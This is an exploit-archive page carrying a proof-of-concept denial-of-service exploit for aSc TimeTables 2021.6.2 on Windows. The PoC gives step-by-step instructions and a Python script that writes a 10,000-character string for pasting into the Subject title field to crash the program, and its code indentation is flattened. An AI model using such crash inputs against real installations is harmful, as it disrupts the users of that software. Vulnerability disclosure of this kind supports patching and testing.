Asc timetables 2021.6.2 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-02 | Type : local | Platform : windows
This exploit / vulnerability Asc timetables 2021.6.2 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: aSc TimeTables 2021.6.2 - Denial of Service (PoC)
# Date: 2020-01-12
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.asctimetables.com/#!/home
# Software Link: https://www.asctimetables.com/#!/home/download
# Version: 2021.6.2
# Tested on: Windows 10 Home x64

# STEPS
# Open the program aSc Timetables 2021
# In File select the option New
# Put any letter in the fiel Name of the Schooland click Next
# In the next Windows click NEXT
# In the Step 3, in Subject click in New
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Metoo.txt"
# Paste the content in the field Subject title
# Click in OK
# End :)

buffer = 'Z' * 10000

try:
file = open("Metoo.txt","w")
file.write(buffer)
file.close()

print("Archive ready")
except:
print("Archive no ready")